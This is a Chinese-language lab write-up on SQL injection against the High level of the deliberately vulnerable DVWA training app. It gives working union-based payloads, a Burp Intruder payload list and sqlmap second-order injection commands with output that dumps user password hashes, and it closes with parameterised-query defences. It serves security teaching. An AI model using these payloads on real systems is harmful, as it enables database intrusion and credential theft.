文章目录
-
- [1. High 安全级别源码分析](#1. High 安全级别源码分析)
-
- [1.1 查看源码](#1.1 查看源码)
- [1.2 关键变化分析](#1.2 关键变化分析)
- [1.3 安全机制分析](#1.3 安全机制分析)
- [1.4 漏洞点](#1.4 漏洞点)
- [2. 手工 SQL 注入测试](#2. 手工 SQL 注入测试)
-
- [2.1 注入流程概述](#2.1 注入流程概述)
- [2.2 步骤 1:判断注入点](#2.2 步骤 1:判断注入点)
- [2.3 步骤 2:判断字段数](#2.3 步骤 2:判断字段数)
- [2.4 步骤 3:确定回显位置](#2.4 步骤 3:确定回显位置)
- [2.5 步骤 4:获取数据库信息](#2.5 步骤 4:获取数据库信息)
- [2.6 步骤 5:获取表名](#2.6 步骤 5:获取表名)
- [2.7 步骤 6:获取列名](#2.7 步骤 6:获取列名)
- [2.8 步骤 7:获取用户数据](#2.8 步骤 7:获取用户数据)
- [3. Burp Suite 自动化注入测试](#3. Burp Suite 自动化注入测试)
-
- [3.1 Burp Suite 环境准备](#3.1 Burp Suite 环境准备)
- [3.2 High 级别的 Burp 测试策略](#3.2 High 级别的 Burp 测试策略)
- [3.3 拦截并修改请求](#3.3 拦截并修改请求)
- [3.4 Repeater 快速测试](#3.4 Repeater 快速测试)
- [3.5 Intruder 批量测试](#3.5 Intruder 批量测试)
- [3.6 从 Burp 导出请求文件用于 Sqlmap](#3.6 从 Burp 导出请求文件用于 Sqlmap)
- [4. Sqlmap 自动化注入](#4. Sqlmap 自动化注入)
-
- [4.1 二阶注入概念](#4.1 二阶注入概念)
- [4.2 命令参数详解](#4.2 命令参数详解)
- [4.3 步骤 1:枚举数据库](#4.3 步骤 1:枚举数据库)
- [4.4 步骤 2:枚举表](#4.4 步骤 2:枚举表)
- [4.5 步骤 3:枚举列](#4.5 步骤 3:枚举列)
- [4.6 步骤 4:导出数据](#4.6 步骤 4:导出数据)
- [4.7 Sqlmap 注入点总结](#4.7 Sqlmap 注入点总结)
- [5. Low vs Medium vs High 对比分析](#5. Low vs Medium vs High 对比分析)
-
- [5.1 各安全级别对比](#5.1 各安全级别对比)
- [5.2 注入 Payload 对比](#5.2 注入 Payload 对比)
- [5.3 安全级别递增分析](#5.3 安全级别递增分析)
- [6. 防护建议](#6. 防护建议)
-
- [6.1 根本解决方案:参数化查询](#6.1 根本解决方案:参数化查询)
- [6.2 DVWA High 级别的改进建议](#6.2 DVWA High 级别的改进建议)
- [6.3 各级别防御效果总结](#6.3 各级别防御效果总结)
1. High 安全级别源码分析
1.1 查看源码
访问 http://192.168.0.107/DVWA/vulnerabilities/view_source.php?id=sqli&security=high 查看 High 级别源码:
php
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"])))
? false : $___mysqli_res);
break;
case SQLITE:
// ... (SQLite 相关代码,当前测试环境为 MySQL)
break;
}
}
?>
1.2 关键变化分析
与 Low 和 Medium 级别相比,High 级别有以下关键变化:
| 特性 | Low | Medium | High |
|---|---|---|---|
| 输入方式 | GET 直接提交 | POST 下拉选择 | Session 间接输入 |
| 参数来源 | $_GET['id'] |
$_POST['id'] |
$_SESSION['id'] |
| SQL 查询 | 无引号包裹 | 无引号包裹 | 单引号包裹 |
| 结果限制 | 无 | 无 | LIMIT 1 |
| 错误处理 | 显示 MySQL 错误 | 显示 MySQL 错误 | 通用错误提示 |
| 查询列数 | 2 列 | 2 列 | 2 列 |
1.3 安全机制分析
High 级别的防护设计思路:
-
Session 存储参数:用户输入不再直接传递给 SQL 查询,而是先存入 Session,再由主页面从 Session 读取。这被称为"二阶注入"(Second-Order Injection)场景------输入和输出分离在不同页面。
-
页面分离:
session-input.php:接收用户输入,存储到$_SESSION['id']sqli/:主页面,从 Session 读取 ID 并执行查询
-
单引号包裹 :SQL 查询中
user_id参数被单引号包裹:sqlSELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;这意味着注入需要闭合单引号。
-
LIMIT 1 限制 :查询结果最多返回 1 行,需要使用
#或--注释符绕过。 -
通用错误信息 :使用
or die('<pre>Something went wrong.</pre>')屏蔽了详细的 MySQL 错误信息,增加了盲注的难度。
1.4 漏洞点
尽管 High 级别增加了多层防护,但核心漏洞依然存在:
php
$id = $_SESSION[ 'id' ]; // 从 Session 获取,但 Session 值来自用户输入
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
// $id 直接拼接到 SQL 语句中,没有任何过滤或参数化处理
关键问题 :虽然输入经过了 Session 中转,但 Session 中的值本质上仍然是用户可控的(通过 session-input.php 提交),且该值在被拼接到 SQL 语句时没有经过任何转义或过滤。
2. 手工 SQL 注入测试
2.1 注入流程概述
由于 High 级别的输入流程与其他级别不同,注入步骤如下:
- 访问
session-input.php页面输入 payload - 提交表单,payload 被存入 Session
- 访问主页面
sqli/,Session 中的 payload 被拼接到 SQL 查询并执行 - 观察页面返回结果
2.2 步骤 1:判断注入点
目标:验证是否存在 SQL 注入漏洞。
Payload:
1' or 1=1#
操作 :访问 http://192.168.0.107/DVWA/vulnerabilities/sqli/session-input.php,在输入框中输入 payload,提交后访问主页面。
结果:
ID: 1' or 1=1#
First name: admin
Surname: admin
ID: 1' or 1=1#
First name: Gordon
Surname: Brown
ID: 1' or 1=1#
First name: Hack
Surname: Me
ID: 1' or 1=1#
First name: Pablo
Surname: Picasso
ID: 1' or 1=1#
First name: Bob
Surname: Smith
分析:
- 输入
1' or 1=1#后,返回了所有 5 个用户的记录 - 正常输入
1只会返回 1 条记录(admin) - 说明注入成功,
#注释符成功绕过了LIMIT 1限制
SQL 语句变为:
sql
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1#' LIMIT 1;
-- 实际执行:WHERE user_id = '1' or 1=1
-- LIMIT 1 被 # 注释掉
2.3 步骤 2:判断字段数
目标 :使用 ORDER BY 确定查询的字段数量。
Payload 1:
1' order by 3#
结果:
Something went wrong.
Payload 2:
1' order by 2#
结果:
ID: 1' order by 2#
First name: admin
Surname: admin
分析:
order by 3报错,说明查询字段数小于 3order by 2正常返回,说明查询字段数为 2- 这与 Low/Medium 级别一致,都是
SELECT first_name, last_name的 2 列查询
2.4 步骤 3:确定回显位置
目标 :使用 UNION SELECT 确定哪些字段会显示在页面上。
Payload:
-1' union select 1,2#
结果:
ID: -1' union select 1,2#
First name: 1
Surname: 2
分析:
- 两个字段都显示在页面上(First name: 1, Surname: 2)
- 这意味着我们可以在任意一个字段位置注入查询语句来获取数据
2.5 步骤 4:获取数据库信息
获取数据库名:
Payload:
-1' union select 1,database()#
结果:
ID: -1' union select 1,database()#
First name: 1
Surname: dvwa
获取数据库版本:
Payload:
-1' union select 1,@@version#
结果:
ID: -1' union select 1,@@version#
First name: 1
Surname: 5.7.26
获取当前用户:
Payload:
-1' union select 1,user()#
结果:
ID: -1' union select 1,user()#
First name: 1
Surname: dvwa@localhost
汇总信息:
| 信息项 | 值 |
|---|---|
| 数据库名 | dvwa |
| 数据库版本 | MySQL 5.7.26 |
| 当前用户 | dvwa@localhost |
2.6 步骤 5:获取表名
目标 :从 information_schema.tables 中查询数据库 dvwa 中的所有表。
Payload:
-1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
注意 :这里使用 hex() 函数对结果进行编码,是因为数据库表字符集与查询结果字符集可能不匹配,导致 Illegal mix of collations for operation 'UNION' 错误。使用 hex() 编码可以绕过这个问题。
结果:
ID: -1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
First name: 1
Surname: 7573657273
十六进制解码:
7573657273在十六进制下解码为 ASCII 字符串得到users
数据库 dvwa 中的表:
| 表名 |
|---|
| users |
2.7 步骤 6:获取列名
目标 :获取 users 表中的所有列名。
注意 :由于
users表名在查询中使用了单引号,而我们的 payload 已经闭合了外层单引号,所以不能直接写table_name='users'。这里使用十六进制编码0x7573657273来表示users表名。
Payload:
-1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273#
结果:
ID: -1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273#
First name: 1
Surname: 757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E
十六进制解码:
757365725F6964 = user_id
66697273745F6E616D65 = first_name
6C6173745F6E616D65 = last_name
75736572 = user
70617373776F7264 = password
617661746172 = avatar
6C6173745F6C6F67696E = last_login
6661696C65645F6C6F67696E = failed_login
users 表的列:
| 列名 |
|---|
| user_id |
| first_name |
| last_name |
| user |
| password |
| avatar |
| last_login |
| failed_login |
2.8 步骤 7:获取用户数据
目标:获取所有用户的用户名和密码哈希。
Payload:
-1' union select 1,hex(group_concat(user,0x3a,password)) from users#
说明 :
0x3a是冒号:的十六进制编码,用于分隔用户名和密码。
结果:
ID: -1' union select 1,hex(group_concat(user,0x3a,password)) from users#
First name: 1
Surname: 61646D696E3A32313233326632393761353761356137343338393461306534613830316663332C676F72646F6E623A65393961313863343238636233386435663236303835333637383932326530332C313333373A38643335333364373561653263333936366437653064346663633639323136622C7061626C6F3A30643130376430396635626265343063616465336465356337316539653962372C736D697468793A3566346463633362356161373635643631643833323764656238383263663939
十六进制解码:
| 用户名 | MD5 密码哈希 |
|---|---|
| admin | 21232f297a57a5a743894a0e4a801fc3 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
3. Burp Suite 自动化注入测试
3.1 Burp Suite 环境准备
- 启动 Burp Suite Professional
- 配置浏览器代理为
127.0.0.1:8080 - 确保 Burp 的 Intercept 功能已开启
3.2 High 级别的 Burp 测试策略
关键区别 :与 Medium 级别不同,High 级别的注入点不在主页面,而在 session-input.php。测试流程如下:
- 拦截
session-input.php的 POST 请求 :该请求包含id参数 - 修改
id参数为注入 payload - 转发请求,payload 被存入 Session
- 访问主页面
sqli/,观察注入结果
3.3 拦截并修改请求
步骤 1 :在浏览器中访问 http://192.168.0.107/DVWA/vulnerabilities/sqli/session-input.php
步骤 2 :在输入框中输入任意值(如 1),点击 Submit
步骤 3:在 Burp Suite 的 Proxy → Intercept 中拦截到请求:
POST /DVWA/vulnerabilities/sqli/session-input.php HTTP/1.1
Host: 192.168.0.107
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=sha92bkmo5ml5vke4fvh7nmk3s; security=high
id=1&Submit=Submit
步骤 4:将请求发送到 Repeater(右键 → Send to Repeater)
3.4 Repeater 快速测试
在 Repeater 中修改 id 参数进行测试:
测试 1:判断注入点
id=1' or 1=1#&Submit=Submit
发送后,在浏览器中访问 http://192.168.0.107/DVWA/vulnerabilities/sqli/,可以看到所有 5 个用户记录。
测试 2:获取数据库名
id=-1' union select 1,database()#&Submit=Submit
测试 3:获取表名
id=-1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#&Submit=Submit
3.5 Intruder 批量测试
步骤 1:在 Repeater 中右键 → Send to Intruder
步骤 2 :在 Intruder → Positions 中,清除所有自动标记,然后选中 id 参数的值作为 payload 位置:
id=§1§&Submit=Submit
步骤 3 :在 Payloads 中加载常用 SQL 注入 payload 列表(参考 burp_sqlmap_payloads.txt):
1' or 1=1#
-1' union select 1,2#
-1' union select 1,database()#
-1' union select 1,@@version#
-1' union select 1,user()#
-1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
-1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273#
-1' union select 1,hex(group_concat(user,0x3a,password)) from users#
步骤 4:点击 Start Attack,观察响应:
- 每次请求后,需要在浏览器中访问主页面查看结果
- Burp 的请求本身不会直接显示注入结果,因为结果在另一个页面
3.6 从 Burp 导出请求文件用于 Sqlmap
步骤 1:在 Repeater 中构建完整的请求
步骤 2 :右键 → Copy to file,保存为 burp_request_high.txt
请求文件内容:
http
POST /DVWA/vulnerabilities/sqli/session-input.php HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=sha92bkmo5ml5vke4fvh7nmk3s; security=high
id=1&Submit=Submit
步骤 3 :同时创建第二个请求文件 burp_second_high.txt,用于 sqlmap 的二阶注入检测:
http
GET /DVWA/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Cookie: PHPSESSID=sha92bkmo5ml5vke4fvh7nmk3s; security=high
4. Sqlmap 自动化注入
4.1 二阶注入概念
High 级别的 SQL 注入属于二阶注入(Second-Order SQL Injection):
- 一阶注入:用户输入直接拼接到 SQL 语句并执行(如 Low、Medium)
- 二阶注入:用户输入先存储在某个位置(Session、数据库),后续被取出并拼接到 SQL 语句
二阶注入的危险性在于:即使输入在存储时经过了过滤,但如果在后续使用时没有再次过滤,漏洞依然存在。
4.2 命令参数详解
Sqlmap 使用 --second-req 参数处理二阶注入:
bash
python sqlmap.py -r burp_request_high.txt -p id --second-req burp_second_high.txt --batch --dbs
参数说明:
| 参数 | 说明 |
|---|---|
-r |
从文件加载 HTTP 请求(包含注入点的请求) |
-p id |
指定测试 id 参数 |
--second-req |
指定二阶请求文件(显示注入结果的页面) |
--batch |
使用默认选项,无需交互 |
--dbs |
枚举所有数据库 |
二阶注入工作原理:
- Sqlmap 读取第一个请求文件(
session-input.php),修改id参数发送 payload - Sqlmap 发送第二个请求(
sqli/)来读取注入结果 - 通过分析第二个请求的响应来判断注入是否成功
4.3 步骤 1:枚举数据库
命令:
bash
python sqlmap.py -r "d:\Programs\burp_request_high.txt" -p id --second-req "d:\Programs\burp_second_high.txt" --batch --dbs
输出:
sqlmap identified the following injection point(s) with a total of 63 HTTP(s) requests:
---
Parameter: id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8155 FROM (SELECT(SLEEP(5)))MEhM) AND 'RzdS'='RzdS&Submit=Submit
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7170626a71,0x6347415044786252615279416f584c616167784f495a5974764e547362774e574d6c414672526f4e,0x717a627671)-- -&Submit=Submit
---
web server operating system: Windows
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
available databases [2]:
[*] dvwa
[*] information_schema
结果分析:
Sqlmap 发现了两种注入类型:
-
Time-based Blind(时间盲注):
id=1' AND (SELECT 8155 FROM (SELECT(SLEEP(5)))MEhM) AND 'RzdS'='RzdS- 使用
SLEEP(5)函数,如果注入成功,页面会延迟 5 秒响应 - 适用于页面不显示错误信息且不返回查询结果的情况
- 使用
-
UNION Query(联合查询注入):
id=1' UNION ALL SELECT NULL,CONCAT(...)--- 使用
UNION ALL SELECT将攻击者构造的数据合并到原始查询结果中 --注释符用于绕过LIMIT 1限制
- 使用
数据库列表:
| 数据库名 |
|---|
| dvwa |
| information_schema |
4.4 步骤 2:枚举表
命令:
bash
python sqlmap.py -r "d:\Programs\burp_request_high.txt" -p id --second-req "d:\Programs\burp_second_high.txt" --batch -D dvwa --tables
输出:
Database: dvwa
[1 table]
+-------+
| users |
+-------+
4.5 步骤 3:枚举列
命令:
bash
python sqlmap.py -r "d:\Programs\burp_request_high.txt" -p id --second-req "d:\Programs\burp_second_high.txt" --batch -D dvwa -T users --columns
输出:
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
4.6 步骤 4:导出数据
命令:
bash
python sqlmap.py -r "d:\Programs\burp_request_high.txt" -p id --second-req "d:\Programs\burp_second_high.txt" --batch -D dvwa -T users --dump
关键过程:
- Sqlmap 自动识别
password列为 MD5 哈希 - 提示是否进行字典破解
- 使用默认字典进行暴力破解
输出(用户数据):
| user_id | user | first_name | last_name | password | avatar |
|---|---|---|---|---|---|
| 1 | admin | admin | admin | 21232f297a57a5a743894a0e4a801fc3 | ... |
| 2 | gordonb | Gordon | Brown | e99a18c428cb38d5f260853678922e03 | ... |
| 3 | 1337 | Hack | Me | 8d3533d75ae2c3966d7e0d4fcc69216b | ... |
| 4 | pablo | Pablo | Picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 | ... |
| 5 | smithy | Bob | Smith | 5f4dcc3b5aa765d61d8327deb882cf99 | ... |
4.7 Sqlmap 注入点总结
| 注入类型 | 技术 | 说明 |
|---|---|---|
| Time-based Blind | SLEEP(5) |
通过响应时间判断注入是否成功,适用于不显示错误和结果的情况 |
| UNION Query | UNION ALL SELECT |
使用联合查询直接获取数据,效率最高 |
5. Low vs Medium vs High 对比分析
5.1 各安全级别对比
| 特性 | Low | Medium | High |
|---|---|---|---|
| 输入方式 | GET URL 参数 | POST 表单 | Session 间接输入 |
| 参数来源 | $_GET['id'] |
$_POST['id'] |
$_SESSION['id'] |
| SQL 查询 | WHERE user_id = $id |
WHERE user_id = $id |
WHERE user_id = '$id' |
| 引号包裹 | 无 | 无 | 单引号 |
| 结果限制 | 无 | 无 | LIMIT 1 |
| 错误显示 | 完整 MySQL 错误 | 完整 MySQL 错误 | 通用错误信息 |
| 注入类型 | 数字型 | 数字型 | 字符串型 |
| 注入难度 | 极低 | 低 | 中等 |
| 绕过方式 | 直接拼接 | POST 直接拼接 | 闭合引号 + 注释符 |
| 二阶注入 | 否 | 否 | 是 |
5.2 注入 Payload 对比
| 级别 | 判断注入点 | 联合查询 | 绕过限制 |
|---|---|---|---|
| Low | 1' or '1'='1 |
-1' union select 1,2 |
无需绕过 |
| Medium | 1 or 1=1 |
-1 union select 1,2 |
无需绕过 |
| High | 1' or 1=1# |
-1' union select 1,2# |
需 # 注释 LIMIT 1 |
5.3 安全级别递增分析
Low ──→ Medium ──→ High
│ │ │
直接输入 POST隐藏 Session隔离
无过滤 转义函数 架构分离
完整错误 完整错误 通用错误
渐进式防护思路:
- Low → Medium:将输入方式从 GET 改为 POST,对特殊字符进行转义
- Medium → High:将输入从直接使用改为 Session 中转,隐藏错误信息,添加 LIMIT 限制
但核心问题始终未解决:用户输入始终被直接拼接到 SQL 语句中,没有使用参数化查询。
6. 防护建议
6.1 根本解决方案:参数化查询
使用 Prepared Statements(预编译语句)是防御 SQL 注入的唯一根本方法:
php
// 推荐写法:使用 PDO 参数化查询
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1");
$stmt->bindParam(':id', $id, PDO::PARAM_STR);
$stmt->execute();
为什么参数化查询能防御 SQL 注入?
参数化查询将 SQL 逻辑与数据分离:
- SQL 语句结构在编译阶段确定
- 用户输入作为参数值绑定,永远不会被当作 SQL 代码执行
- 无论输入中包含什么特殊字符,都只被视为普通字符串
6.2 DVWA High 级别的改进建议
- 使用参数化查询替换字符串拼接
- 即使使用 Session 中转,也应进行输入验证
- 添加白名单校验:如果 ID 应该是数字,验证输入是否为纯数字
- 最小权限原则:数据库连接使用最小权限账户
6.3 各级别防御效果总结
| 级别 | 防护措施 | 是否可绕过 | 根本原因 |
|---|---|---|---|
| Low | 无 | 直接绕过 | 无任何防护 |
| Medium | mysqli_real_escape_string() |
可绕过(数字型注入) | 转义不适用于数字型注入 |
| High | Session 隔离 + 引号 + LIMIT | 可绕过(字符串型注入) | 未使用参数化查询 |
总结 :DVWA 的 SQL Injection 模块通过三个安全级别演示了逐步增强的防护措施,但都未能从根本上解决问题。High 级别使用了 Session 中转和 LIMIT 限制等创新手段,增加了注入难度,但因为没有使用参数化查询,攻击者仍然可以通过闭合引号和注释符成功注入。防御 SQL 注入的唯一根本方法是使用参数化查询(Prepared Statements)。